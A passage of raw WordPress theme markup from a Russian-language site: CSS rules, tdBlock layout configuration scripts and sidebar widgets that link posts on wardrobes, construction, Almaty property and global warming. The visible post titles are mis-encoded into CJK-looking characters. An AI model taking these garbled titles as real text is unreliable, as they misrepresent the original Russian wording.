.td-module-container:before{display:none!important}}@media (min-width:768px) and (max-width:1018px){.tdi_90 .td-module-meta-info{padding:0 0 0 13px}.tdi_90 .td_module_wrap{width:100%;float:left;padding-left:10px;padding-right:10px;padding-bottom:10px;margin-bottom:10px;padding-bottom:10px!important;margin-bottom:10px!important}.rtl .tdi_90 .td_module_wrap{float:right}.tdi_90 .td_block_inner{margin-left:-10px;margin-right:-10px}.tdi_90 .td-module-container:before{bottom:-10px}.tdi_90 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_90 .td_module_wrap .td-module-container:before{display:block!important}.tdi_90 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_90 .entry-title{font-size:12px!important}}@media (max-width:767px){.tdi_90 .td_module_wrap{width:100%;float:left}.rtl .tdi_90 .td_module_wrap{float:right}.tdi_90 .td_module_wrap{padding-bottom:13px;margin-bottom:13px;padding-bottom:13px!important;margin-bottom:13px!important}.tdi_90 .td-module-container:before{bottom:-13px}.tdi_90 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_90 .td_module_wrap .td-module-container:before{display:block!important}.tdi_90 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}}</style><script>var block_tdi_90 = new tdBlock(); block_tdi_90.id = "tdi_90"; block_tdi_90.atts = '{"modules_on_row":"eyJwb3J0cmFpdCI6IjEwMCUiLCJwaG9uZSI6IjEwMCUifQ==","image_size":"td_218x150","image_floated":"float_left","image_width":"30","image_height":"70","show_btn":"none","show_excerpt":"none","show_com":"none","show_author":"none","show_cat":"none","meta_padding":"eyJhbGwiOiIwIDAgMCAxNnB4IiwicG9ydHJhaXQiOiIwIDAgMCAxM3B4In0=","f_title_font_size":"eyJhbGwiOiIxNCIsInBvcnRyYWl0IjoiMTIifQ==","f_title_font_line_height":"1.4","f_title_font_weight":"500","all_modules_space":"eyJhbGwiOiIyNiIsInBvcnRyYWl0IjoiMjAiLCJwaG9uZSI6IjI2In0=","category_id":"241","modules_gap":"eyJwb3J0cmFpdCI6IjIwIn0=","show_date":"","limit":"3","custom_title":"\u0420\u0430\u0437\u043d\u043e\u0435","block_template_id":"td_block_template_2","f_header_font_size":"18","f_header_font_weight":"","header_text_color":"#ffffff","title_txt":"#ffffff","sort":"","title_txt_hover":"#4db2ec","tdc_css":"eyJwaG9uZSI6eyJtYXJnaW4tYm90dG9tIjoiNDAiLCJkaXNwbGF5IjoiIn0sInBob25lX21heF93aWR0aCI6NzY3LCJwb3J0cmFpdCI6eyJtYXJnaW4tYm90dG9tIjoiMjAiLCJkaXNwbGF5IjoiIn0sInBvcnRyYWl0X21heF93aWR0aCI6MTAxOCwicG9ydHJhaXRfbWluX3dpZHRoIjo3Njh9","rev_txt":"#ffffff","post_ids":"-16606","video_icon":"24","block_type":"td_flex_block_1","separator":"","custom_url":"","title_tag":"","mc1_tl":"","mc1_title_tag":"","mc1_el":"","taxonomies":"","category_ids":"","in_all_terms":"","tag_slug":"","autors_id":"","installed_post_types":"","include_cf_posts":"","exclude_cf_posts":"","linked_posts":"","favourite_only":"","offset":"","open_in_new_window":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","review_source":"","el_class":"","td_query_cache":"","td_query_cache_expiration":"","td_ajax_filter_type":"","td_ajax_filter_ids":"","td_filter_default_txt":"All","td_ajax_preloading":"","container_width":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","modules_border_radius":"","modules_divider":"","modules_divider_color":"#eaeaea","h_effect":"","image_alignment":"50","image_radius":"","hide_image":"","show_favourites":"","fav_size":"2","fav_space":"","fav_ico_color":"","fav_ico_color_h":"","fav_bg":"","fav_bg_h":"","fav_shadow_shadow_header":"","fav_shadow_shadow_title":"Shadow","fav_shadow_shadow_size":"","fav_shadow_shadow_offset_horizontal":"","fav_shadow_shadow_offset_vertical":"","fav_shadow_shadow_spread":"","fav_shadow_shadow_color":"","video_popup":"yes","video_rec":"","spot_header":"","video_rec_title":"","video_rec_color":"","video_rec_disable":"","autoplay_vid":"yes","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","video_title_color":"","video_title_color_h":"","video_bg":"","video_overlay":"","vid_t_color":"","vid_t_bg_color":"","f_vid_title_font_header":"","f_vid_title_font_title":"Video pop-up article title","f_vid_title_font_settings":"","f_vid_title_font_family":"","f_vid_title_font_size":"","f_vid_title_font_line_height":"","f_vid_title_font_style":"","f_vid_title_font_weight":"","f_vid_title_font_transform":"","f_vid_title_font_spacing":"","f_vid_title_":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_align":"","meta_info_horiz":"layout-default","meta_width":"","meta_margin":"","meta_space":"","art_title":"","art_btn":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","meta_info_border_radius":"","modules_category":"","modules_category_margin":"","modules_category_padding":"","modules_cat_border":"","modules_category_radius":"0","modules_extra_cat":"","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","show_review":"inline-block","review_space":"","review_size":"2.5","review_distance":"","art_excerpt":"","excerpt_col":"1","excerpt_gap":"","excerpt_middle":"","excerpt_inline":"","show_audio":"block","hide_audio":"","art_audio":"","art_audio_size":"1.5","btn_title":"","btn_margin":"","btn_padding":"","btn_border_width":"","btn_radius":"","pag_space":"","pag_padding":"","pag_border_width":"","pag_border_radius":"","prev_tdicon":"","next_tdicon":"","pag_icons_size":"","f_header_font_header":"","f_header_font_title":"Block header","f_header_font_settings":"","f_header_font_family":"","f_header_font_line_height":"","f_header_font_style":"","f_header_font_transform":"","f_header_font_spacing":"","f_header_":"","f_ajax_font_title":"Ajax categories","f_ajax_font_settings":"","f_ajax_font_family":"","f_ajax_font_size":"","f_ajax_font_line_height":"","f_ajax_font_style":"","f_ajax_font_weight":"","f_ajax_font_transform":"","f_ajax_font_spacing":"","f_ajax_":"","f_more_font_title":"Load more button","f_more_font_settings":"","f_more_font_family":"","f_more_font_size":"","f_more_font_line_height":"","f_more_font_style":"","f_more_font_weight":"","f_more_font_transform":"","f_more_font_spacing":"","f_more_":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_family":"","f_title_font_style":"","f_title_font_transform":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_family":"","f_cat_font_size":"","f_cat_font_line_height":"","f_cat_font_style":"","f_cat_font_weight":"","f_cat_font_transform":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_family":"","f_meta_font_size":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_weight":"","f_meta_font_transform":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_family":"","f_ex_font_size":"","f_ex_font_line_height":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","f_btn_font_title":"Article read more button","f_btn_font_settings":"","f_btn_font_family":"","f_btn_font_size":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_weight":"","f_btn_font_transform":"","f_btn_font_spacing":"","f_btn_":"","mix_color":"","mix_type":"","fe_brightness":"1","fe_contrast":"1","fe_saturate":"1","mix_color_h":"","mix_type_h":"","fe_brightness_h":"1","fe_contrast_h":"1","fe_saturate_h":"1","m_bg":"","color_overlay":"","shadow_shadow_header":"","shadow_shadow_title":"Module Shadow","shadow_shadow_size":"","shadow_shadow_offset_horizontal":"","shadow_shadow_offset_vertical":"","shadow_shadow_spread":"","shadow_shadow_color":"","all_underline_height":"","all_underline_color":"","cat_bg":"","cat_bg_hover":"","cat_txt":"","cat_txt_hover":"","cat_border":"","cat_border_hover":"","meta_bg":"","author_txt":"","author_txt_hover":"","date_txt":"","ex_txt":"","com_bg":"","com_txt":"","audio_btn_color":"","audio_time_color":"","audio_bar_color":"","audio_bar_curr_color":"","shadow_m_shadow_header":"","shadow_m_shadow_title":"Meta info shadow","shadow_m_shadow_size":"","shadow_m_shadow_offset_horizontal":"","shadow_m_shadow_offset_vertical":"","shadow_m_shadow_spread":"","shadow_m_shadow_color":"","btn_bg":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border":"","btn_border_hover":"","pag_text":"","pag_h_text":"","pag_bg":"","pag_h_bg":"","pag_border":"","pag_h_border":"","ajax_pagination":"","ajax_pagination_next_prev_swipe":"","ajax_pagination_infinite_stop":"","css":"","td_column_number":1,"header_color":"","color_preset":"","border_top":"","class":"tdi_90","tdc_css_class":"tdi_90","tdc_css_class_style":"tdi_90_rand_style"}'; block_tdi_90.td_column_number = "1"; block_tdi_90.block_type = "td_flex_block_1"; block_tdi_90.post_count = "3"; block_tdi_90.found_posts = "2230"; block_tdi_90.header_color = ""; block_tdi_90.ajax_pagination_infinite_stop = ""; block_tdi_90.max_num_pages = "744"; tdBlocksArray.push(block_tdi_90); </script><div class="td-block-title-wrap"><h4 class="td-block-title"><span class="td-pulldown-size">袪邪蟹薪芯械</span></h4></div><div id=tdi_90 class="td_block_inner td-mc1-wrap"> <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post"> <div class="td-module-container td-category-pos-"> <div class="td-image-container"> <div class="td-module-thumb"><a href="https://www.sciencedebate2008.com/kak-vybrat-idealnyj-vstroennyj-shkaf-kupe-dlya-spalni-sovety-i-rekomendaczii/" rel="bookmark" class="td-image-wrap " title="袣邪泻 胁褘斜褉邪褌褜 懈写械邪谢褜薪褘泄 胁褋褌褉芯械薪薪褘泄 褕泻邪褎-泻褍锌械 写谢褟 褋锌邪谢褜薪懈: 褋芯胁械褌褘 懈 褉械泻芯屑械薪写邪褑懈懈" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://www.sciencedebate2008.com/wp-content/uploads/img_01-184-218x150.jpg" ></span></a></div> </div> <div class="td-module-meta-info"> <h3 class="entry-title td-module-title"><a href="https://www.sciencedebate2008.com/kak-vybrat-idealnyj-vstroennyj-shkaf-kupe-dlya-spalni-sovety-i-rekomendaczii/" rel="bookmark" title="袣邪泻 胁褘斜褉邪褌褜 懈写械邪谢褜薪褘泄 胁褋褌褉芯械薪薪褘泄 褕泻邪褎-泻褍锌械 写谢褟 褋锌邪谢褜薪懈: 褋芯胁械褌褘 懈 褉械泻芯屑械薪写邪褑懈懈">袣邪泻 胁褘斜褉邪褌褜 懈写械邪谢褜薪褘泄 胁褋褌褉芯械薪薪褘泄 褕泻邪褎-泻褍锌械 写谢褟 褋锌邪谢褜薪懈: 褋芯胁械褌褘 懈 褉械泻芯屑械薪写邪褑懈懈</a></h3> <div class="td-editor-date"> <span class="td-author-date"> <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-08-24T23:49:37+00:00" >袗胁谐 24, 2024</time></span> </span> </div> </div> </div> </div> <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post"> <div class="td-module-container td-category-pos-"> <div class="td-image-container"> <div class="td-module-thumb"><a href="https://www.sciencedebate2008.com/stroitelnyj-kontrol-strahovka-ot-obrusheniya/" rel="bookmark" class="td-image-wrap " title="小褌褉芯懈褌械谢褜薪褘泄 泻芯薪褌褉芯谢褜: 褋褌褉邪褏芯胁泻邪 芯褌 芯斜褉褍褕械薪懈褟" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://www.sciencedebate2008.com/wp-content/uploads/img_01-183-218x150.jpg" ></span></a></div> </div> <div class="td-module-meta-info"> <h3 class="entry-title td-module-title"><a href="https://www.sciencedebate2008.com/stroitelnyj-kontrol-strahovka-ot-obrusheniya/" rel="bookmark" title="小褌褉芯懈褌械谢褜薪褘泄 泻芯薪褌褉芯谢褜: 褋褌褉邪褏芯胁泻邪 芯褌 芯斜褉褍褕械薪懈褟">小褌褉芯懈褌械谢褜薪褘泄 泻芯薪褌褉芯谢褜: 褋褌褉邪褏芯胁泻邪 芯褌 芯斜褉褍褕械薪懈褟</a></h3> <div class="td-editor-date"> <span class="td-author-date"> <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-08-24T07:42:36+00:00" >袗胁谐 24, 2024</time></span> </span> </div> </div> </div> </div> <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post"> <div class="td-module-container td-category-pos-"> <div class="td-image-container"> <div class="td-module-thumb"><a href="https://www.sciencedebate2008.com/lichnoe-delo-kratkij-gajd-po-sboru-informaczii/" rel="bookmark" class="td-image-wrap " title="袥懈褔薪芯械 写械谢芯: 泻褉邪褌泻懈泄 谐邪泄写 锌芯 褋斜芯褉褍 懈薪褎芯褉屑邪褑懈懈" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://www.sciencedebate2008.com/wp-content/uploads/img_01-182-218x150.jpg" ></span></a></div> </div> <div class="td-module-meta-info"> <h3 class="entry-title td-module-title"><a href="https://www.sciencedebate2008.com/lichnoe-delo-kratkij-gajd-po-sboru-informaczii/" rel="bookmark" title="袥懈褔薪芯械 写械谢芯: 泻褉邪褌泻懈泄 谐邪泄写 锌芯 褋斜芯褉褍 懈薪褎芯褉屑邪褑懈懈">袥懈褔薪芯械 写械谢芯: 泻褉邪褌泻懈泄 谐邪泄写 锌芯 褋斜芯褉褍 懈薪褎芯褉屑邪褑懈懈</a></h3> <div class="td-editor-date"> <span class="td-author-date"> <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-08-23T07:03:21+00:00" >袗胁谐 23, 2024</time></span> </span> </div> </div> </div> </div> </div></div></div></div></div><div class="vc_column_inner tdi_92 wpb_column vc_column_container tdc-inner-column td-pb-span4"> <style scoped>.tdi_92{vertical-align:baseline}.tdi_92 .vc_column-inner>.wpb_wrapper,.tdi_92 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_92 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap td_flex_block_1 tdi_93 td-pb-border-top td_block_template_2 td_flex_block" data-td-block-uid="tdi_93" > <style>.td-theme-wrap .tdi_93 .td-block-title>*,.td-theme-wrap .tdi_93 .td-pulldown-filter-link:hover,.td-theme-wrap .tdi_93 .td-subcat-item a:hover,.td-theme-wrap .tdi_93 .td-subcat-item .td-cur-simple-item,.td-theme-wrap .tdi_93 .td-subcat-dropdown:hover .td-subcat-more span,.td-theme-wrap .tdi_93 .td-subcat-dropdown:hover .td-subcat-more i{color:#ffffff}.td-theme-wrap .tdi_93 .td-subcat-dropdown ul:after{background-color:#ffffff}.td-theme-wrap .tdi_93 .td_module_wrap:hover .entry-title a,.td-theme-wrap .tdi_93 .td_quote_on_blocks,.td-theme-wrap .tdi_93 .td-opacity-cat .td-post-category:hover,.td-theme-wrap .tdi_93 .td-opacity-read .td-read-more a:hover,.td-theme-wrap .tdi_93 .td-opacity-author .td-post-author-name a:hover,.td-theme-wrap .tdi_93 .td-instagram-user a{color:#ffffff}.td-theme-wrap .tdi_93 .td-next-prev-wrap a:hover,.td-theme-wrap .tdi_93 .td-load-more-wrap a:hover{background-color:#ffffff;border-color:#ffffff}.td-theme-wrap .tdi_93 .td-read-more a,.td-theme-wrap .tdi_93 .td-weather-information:before,.td-theme-wrap .tdi_93 .td-weather-week:before,.td-theme-wrap .tdi_93 .td-exchange-header:before,.td-theme-wrap .td-footer-wrapper .tdi_93 .td-post-category,.td-theme-wrap .tdi_93 .td-post-category:hover{background-color:#ffffff}@media (max-width:767px){.tdi_93{margin-bottom:48px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_93{margin-bottom:20px!important}}</style> <style>.tdi_93 .td-image-wrap{padding-bottom:70%}.tdi_93 .entry-thumb{background-position:center 50%}.tdi_93 .td-image-container{flex:0 0 30%;width:30%;display:block;order:0}.ie10 .tdi_93 .td-image-container,.ie11 .tdi_93 .td-image-container{flex:0 0 auto}.tdi_93 .td-module-container{flex-direction:row;border-color:#eaeaea!important}.ie10 .tdi_93 .td-module-meta-info,.ie11 .tdi_93 .td-module-meta-info{flex:1}body .tdi_93 .td-favorite{font-size:36px;box-shadow:1px 1px 4px 0px rgba(0,0,0,0.2)}.tdi_93 .td-module-meta-info{padding:0 0 0 16px;border-color:#eaeaea}.tdi_93 .td_module_wrap{padding-left:20px;padding-right:20px;padding-bottom:13px;margin-bottom:13px}.tdi_93 .td_block_inner{margin-left:-20px;margin-right:-20px}.tdi_93 .td-module-container:before{bottom:-13px;border-color:#eaeaea}.tdi_93 .td-video-play-ico{width:24px;height:24px;font-size:24px}.tdi_93 .td-post-vid-time{display:block}.tdi_93 .td-post-category:not(.td-post-extra-category){display:none}.tdi_93 .td-author-photo .avatar{width:20px;height:20px;margin-right:6px;border-radius:50%}.tdi_93 .td-excerpt{display:none;column-count:1;column-gap:48px}.tdi_93 .td-audio-player{opacity:1;visibility:visible;height:auto;font-size:13px}.tdi_93 .td-read-more{display:none}.tdi_93 .td-author-date{display:inline}.tdi_93 .td-post-author-name{display:none}.tdi_93 .entry-review-stars{display:inline-block;color:#ffffff}.tdi_93 .td-icon-star,.tdi_93 .td-icon-star-empty,.tdi_93 .td-icon-star-half{font-size:15px}.tdi_93 .td-module-comments{display:none}.tdi_93 .td_module_wrap:nth-last-child(1){margin-bottom:0;padding-bottom:0}.tdi_93 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none}.tdi_93 .td-module-title a{color:#ffffff}.tdi_93 .td_module_wrap:hover .td-module-title a{color:#4db2ec!important}.tdi_93 .td-block-title a,.tdi_93 .td-block-title span{font-size:18px!important}.tdi_93 .entry-title{font-size:14px!important;line-height:1.4!important;font-weight:500!important}html:not([class*='ie']) .tdi_93 .td-module-container:hover .entry-thumb:before{opacity:0}@media (min-width:1019px) and (max-width:1140px){.tdi_93 .td_module_wrap{padding-bottom:13px;margin-bottom:13px}.tdi_93 .td-module-container:before{bottom:-13px}.tdi_93 .td_module_wrap{padding-bottom:13px!important;margin-bottom:13px!important}.tdi_93 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_93 .td_module_wrap .td-module-container:before{display:block!important}.tdi_93 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}}@media (min-width:768px) and (max-width:1018px){.tdi_93 .td-module-meta-info{padding:0 0 0 13px}.tdi_93 .td_module_wrap{width:100%;float:left;padding-left:10px;padding-right:10px;padding-bottom:10px;margin-bottom:10px;padding-bottom:10px!important;margin-bottom:10px!important}.rtl .tdi_93 .td_module_wrap{float:right}.tdi_93 .td_block_inner{margin-left:-10px;margin-right:-10px}.tdi_93 .td-module-container:before{bottom:-10px}.tdi_93 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_93 .td_module_wrap .td-module-container:before{display:block!important}.tdi_93 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_93 .entry-title{font-size:12px!important}}@media (max-width:767px){.tdi_93 .td_module_wrap{width:100%;float:left}.rtl .tdi_93 .td_module_wrap{float:right}.tdi_93 .td_module_wrap{padding-bottom:13px;margin-bottom:13px;padding-bottom:13px!important;margin-bottom:13px!important}.tdi_93 .td-module-container:before{bottom:-13px}.tdi_93 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_93 .td_module_wrap .td-module-container:before{display:block!important}.tdi_93 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}}</style><script>var block_tdi_93 = new tdBlock(); block_tdi_93.id = "tdi_93"; block_tdi_93.atts = '{"modules_on_row":"eyJwb3J0cmFpdCI6IjEwMCUiLCJwaG9uZSI6IjEwMCUifQ==","image_size":"td_218x150","image_floated":"float_left","image_width":"30","image_height":"70","show_btn":"none","show_excerpt":"none","show_com":"none","show_author":"none","show_cat":"none","meta_padding":"eyJhbGwiOiIwIDAgMCAxNnB4IiwicGhvbmUiOiIwIDAgMCAxNnB4IiwicG9ydHJhaXQiOiIwIDAgMCAxM3B4In0=","f_title_font_size":"eyJhbGwiOiIxNCIsInBvcnRyYWl0IjoiMTIifQ==","f_title_font_line_height":"1.4","f_title_font_weight":"500","all_modules_space":"eyJhbGwiOiIyNiIsInBvcnRyYWl0IjoiMjAiLCJwaG9uZSI6IjI2In0=","category_id":"","modules_gap":"eyJwb3J0cmFpdCI6IjIwIn0=","show_date":"","limit":"3","custom_title":"\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438","block_template_id":"td_block_template_2","f_header_font_size":"18","f_header_font_weight":"","header_text_color":"#ffffff","title_txt":"#ffffff","sort":"","title_txt_hover":"#4db2ec","tdc_css":"eyJwaG9uZSI6eyJtYXJnaW4tYm90dG9tIjoiNDgiLCJkaXNwbGF5IjoiIn0sInBob25lX21heF93aWR0aCI6NzY3LCJwb3J0cmFpdCI6eyJtYXJnaW4tYm90dG9tIjoiMjAiLCJkaXNwbGF5IjoiIn0sInBvcnRyYWl0X21heF93aWR0aCI6MTAxOCwicG9ydHJhaXRfbWluX3dpZHRoIjo3Njh9","post_ids":"-16606","rev_txt":"#ffffff","video_icon":"24","block_type":"td_flex_block_1","separator":"","custom_url":"","title_tag":"","mc1_tl":"","mc1_title_tag":"","mc1_el":"","taxonomies":"","category_ids":"","in_all_terms":"","tag_slug":"","autors_id":"","installed_post_types":"","include_cf_posts":"","exclude_cf_posts":"","linked_posts":"","favourite_only":"","offset":"","open_in_new_window":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","review_source":"","el_class":"","td_query_cache":"","td_query_cache_expiration":"","td_ajax_filter_type":"","td_ajax_filter_ids":"","td_filter_default_txt":"All","td_ajax_preloading":"","container_width":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","modules_border_radius":"","modules_divider":"","modules_divider_color":"#eaeaea","h_effect":"","image_alignment":"50","image_radius":"","hide_image":"","show_favourites":"","fav_size":"2","fav_space":"","fav_ico_color":"","fav_ico_color_h":"","fav_bg":"","fav_bg_h":"","fav_shadow_shadow_header":"","fav_shadow_shadow_title":"Shadow","fav_shadow_shadow_size":"","fav_shadow_shadow_offset_horizontal":"","fav_shadow_shadow_offset_vertical":"","fav_shadow_shadow_spread":"","fav_shadow_shadow_color":"","video_popup":"yes","video_rec":"","spot_header":"","video_rec_title":"","video_rec_color":"","video_rec_disable":"","autoplay_vid":"yes","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","video_title_color":"","video_title_color_h":"","video_bg":"","video_overlay":"","vid_t_color":"","vid_t_bg_color":"","f_vid_title_font_header":"","f_vid_title_font_title":"Video pop-up article title","f_vid_title_font_settings":"","f_vid_title_font_family":"","f_vid_title_font_size":"","f_vid_title_font_line_height":"","f_vid_title_font_style":"","f_vid_title_font_weight":"","f_vid_title_font_transform":"","f_vid_title_font_spacing":"","f_vid_title_":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_align":"","meta_info_horiz":"layout-default","meta_width":"","meta_margin":"","meta_space":"","art_title":"","art_btn":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","meta_info_border_radius":"","modules_category":"","modules_category_margin":"","modules_category_padding":"","modules_cat_border":"","modules_category_radius":"0","modules_extra_cat":"","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","show_review":"inline-block","review_space":"","review_size":"2.5","review_distance":"","art_excerpt":"","excerpt_col":"1","excerpt_gap":"","excerpt_middle":"","excerpt_inline":"","show_audio":"block","hide_audio":"","art_audio":"","art_audio_size":"1.5","btn_title":"","btn_margin":"","btn_padding":"","btn_border_width":"","btn_radius":"","pag_space":"","pag_padding":"","pag_border_width":"","pag_border_radius":"","prev_tdicon":"","next_tdicon":"","pag_icons_size":"","f_header_font_header":"","f_header_font_title":"Block header","f_header_font_settings":"","f_header_font_family":"","f_header_font_line_height":"","f_header_font_style":"","f_header_font_transform":"","f_header_font_spacing":"","f_header_":"","f_ajax_font_title":"Ajax categories","f_ajax_font_settings":"","f_ajax_font_family":"","f_ajax_font_size":"","f_ajax_font_line_height":"","f_ajax_font_style":"","f_ajax_font_weight":"","f_ajax_font_transform":"","f_ajax_font_spacing":"","f_ajax_":"","f_more_font_title":"Load more button","f_more_font_settings":"","f_more_font_family":"","f_more_font_size":"","f_more_font_line_height":"","f_more_font_style":"","f_more_font_weight":"","f_more_font_transform":"","f_more_font_spacing":"","f_more_":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_family":"","f_title_font_style":"","f_title_font_transform":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_family":"","f_cat_font_size":"","f_cat_font_line_height":"","f_cat_font_style":"","f_cat_font_weight":"","f_cat_font_transform":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_family":"","f_meta_font_size":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_weight":"","f_meta_font_transform":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_family":"","f_ex_font_size":"","f_ex_font_line_height":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","f_btn_font_title":"Article read more button","f_btn_font_settings":"","f_btn_font_family":"","f_btn_font_size":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_weight":"","f_btn_font_transform":"","f_btn_font_spacing":"","f_btn_":"","mix_color":"","mix_type":"","fe_brightness":"1","fe_contrast":"1","fe_saturate":"1","mix_color_h":"","mix_type_h":"","fe_brightness_h":"1","fe_contrast_h":"1","fe_saturate_h":"1","m_bg":"","color_overlay":"","shadow_shadow_header":"","shadow_shadow_title":"Module Shadow","shadow_shadow_size":"","shadow_shadow_offset_horizontal":"","shadow_shadow_offset_vertical":"","shadow_shadow_spread":"","shadow_shadow_color":"","all_underline_height":"","all_underline_color":"","cat_bg":"","cat_bg_hover":"","cat_txt":"","cat_txt_hover":"","cat_border":"","cat_border_hover":"","meta_bg":"","author_txt":"","author_txt_hover":"","date_txt":"","ex_txt":"","com_bg":"","com_txt":"","audio_btn_color":"","audio_time_color":"","audio_bar_color":"","audio_bar_curr_color":"","shadow_m_shadow_header":"","shadow_m_shadow_title":"Meta info shadow","shadow_m_shadow_size":"","shadow_m_shadow_offset_horizontal":"","shadow_m_shadow_offset_vertical":"","shadow_m_shadow_spread":"","shadow_m_shadow_color":"","btn_bg":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border":"","btn_border_hover":"","pag_text":"","pag_h_text":"","pag_bg":"","pag_h_bg":"","pag_border":"","pag_h_border":"","ajax_pagination":"","ajax_pagination_next_prev_swipe":"","ajax_pagination_infinite_stop":"","css":"","td_column_number":1,"header_color":"","color_preset":"","border_top":"","class":"tdi_93","tdc_css_class":"tdi_93","tdc_css_class_style":"tdi_93_rand_style"}'; block_tdi_93.td_column_number = "1"; block_tdi_93.block_type = "td_flex_block_1"; block_tdi_93.post_count = "3"; block_tdi_93.found_posts = "6099"; block_tdi_93.header_color = ""; block_tdi_93.ajax_pagination_infinite_stop = ""; block_tdi_93.max_num_pages = "2033"; tdBlocksArray.push(block_tdi_93); </script><div class="td-block-title-wrap"><h4 class="td-block-title"><span class="td-pulldown-size">袩芯锌褍谢褟褉薪褘械 蟹邪锌懈褋懈</span></h4></div><div id=tdi_93 class="td_block_inner td-mc1-wrap"> <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post"> <div class="td-module-container td-category-pos-"> <div class="td-image-container"> <div class="td-module-thumb"><a href="https://www.sciencedebate2008.com/kvartira-v-almaty-stavka-na-pribyl/" rel="bookmark" class="td-image-wrap " title="袣胁邪褉褌懈褉邪 胁 袗谢屑邪褌褘: 褋褌邪胁泻邪 薪邪 锌褉懈斜褘谢褜" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://www.sciencedebate2008.com/wp-content/uploads/img_01-275-218x150.jpg" ></span></a></div> </div> <div class="td-module-meta-info"> <h3 class="entry-title td-module-title"><a href="https://www.sciencedebate2008.com/kvartira-v-almaty-stavka-na-pribyl/" rel="bookmark" title="袣胁邪褉褌懈褉邪 胁 袗谢屑邪褌褘: 褋褌邪胁泻邪 薪邪 锌褉懈斜褘谢褜">袣胁邪褉褌懈褉邪 胁 袗谢屑邪褌褘: 褋褌邪胁泻邪 薪邪 锌褉懈斜褘谢褜</a></h3> <div class="td-editor-date"> <span class="td-author-date"> <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-10-02T03:52:46+00:00" >袨泻褌 2, 2024</time></span> </span> </div> </div> </div> </div> <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post"> <div class="td-module-container td-category-pos-"> <div class="td-image-container"> <div class="td-module-thumb"><a href="https://www.sciencedebate2008.com/vote/" rel="bookmark" class="td-image-wrap " title="袚谢芯斜邪谢褜薪芯械 锌芯褌械锌谢械薪懈械 &#8212; 屑懈褎褘, 蟹邪斜谢褍卸写械薪懈褟, 